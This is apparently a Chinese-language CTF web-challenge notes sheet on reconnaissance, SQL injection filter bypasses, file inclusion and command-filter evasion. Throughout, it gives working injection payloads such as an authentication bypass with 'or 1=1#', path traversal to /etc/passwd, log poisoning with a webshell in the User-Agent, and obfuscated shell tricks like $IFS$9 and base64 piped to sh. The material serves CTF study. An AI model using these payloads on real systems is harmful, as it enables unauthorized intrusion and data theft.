一.web题解题流程
1.提示信息
面对一道web题时,先注意题目名字或者提示。如'eazy_sql'则大概率为sql注入题目。若含有'flask''tornado'等词,可以考虑去搜索这些服务器的历史漏洞。
2.收集信息
可以使用dirsearch等工具扫描目录,有可能找到www.zip等文件,大概率包含源代码,用于代码审计。或者/admin等目录,才是真正要去寻找漏洞的目录。
还可以查看源代码,有些源码或提示信息会以注释的方式隐藏在前端。
如果真的没线索,可以抓包,提示信息可能隐藏在cookie或自定义的header字段中。
二:SQL注入
1.绕过技巧
可以自己写一个关键词目录,然后用bp的爆破模块攻击,来确定过滤哪些单词。以下是我自己写的关键词目录。
’
#
union
left
substr
mid
(
)
,
insert
and
or
=
database()
column
table
length
/**/
ascii
if
from
flag
select
where
group
*
/
in
not
chr
ord
column
table
information
schema
&&
||
substr可用mid代替,ord可用ascii代替,空格可用/**/或括号代替。
例如:
select(flag)from(flag)
2.堆叠注入
show tables展示所有的表
handler table_name open;handler table_name read first #如果表名是数字,需要加` `
3.特殊技巧
数据库存在截断和去除末尾空格的机制。
如果遇到如下情况:
if($POST[a]=='admin){
die();
}
但你需要登录admin账户。你可以:
a=admin 1
这样可以绕过比较,但插入数据库时由于字符串过长,会把后面去掉,插入的用户名就为admin,达到目标。
如果遇到如下:
select * from user where username="POST[a]" and password="POST[b]";
但是引号又被过滤了,可以:
a=admin\
b= or 1=1#
'\'可以把sql语句中的'注释掉,语句变为:
select * from user where username='admin\' and password =' or 1=1 #
语句恒成立。
三:文件包含漏洞
1.信息观察
如果给出的源代码有include()字段或url中有 ?file=1.txt 。可以考虑文件包含漏洞。可以先输入 /etc/passwd 判断是否有这个漏洞。
可以根据题目提示信息观察是否有拼接路径。若没有,可以尝试data,input,filter等协议。
若有在前面有拼接/detail等路径,可以:
?file=../../../../../../../../../etc/passwd
../尽可能多,来回到根目录。
2.日志文件包含漏洞
可以通过response的sever观察服务器是否是nginx。
nginx的日志默认在/var/log/nginx/a***ess.log。可以尝试在UA中添加一句话木马,然后连接。
3.session文件包含漏洞
在此就不赘述,网上有很多相关信息,可以自己查看。
四:绕过技巧
最经典的就是无字母rce绕过,异或取反都可以,网上有很多脚本,可以自行了解。
常见的:
linux:
空格:$IFS$9
${IFS}$
<
<>
字符串:cat=>ca\t
g=at;c$g
more tac nl less head tail paste
base64编码: echo 'cat flag.txt'|base64
echo 编码结果 |base64 -d|sh
php:aaa=>chr(97).chr(97).chr(97)
python:将字符串转化为unicode编码或16进制
未完待续.......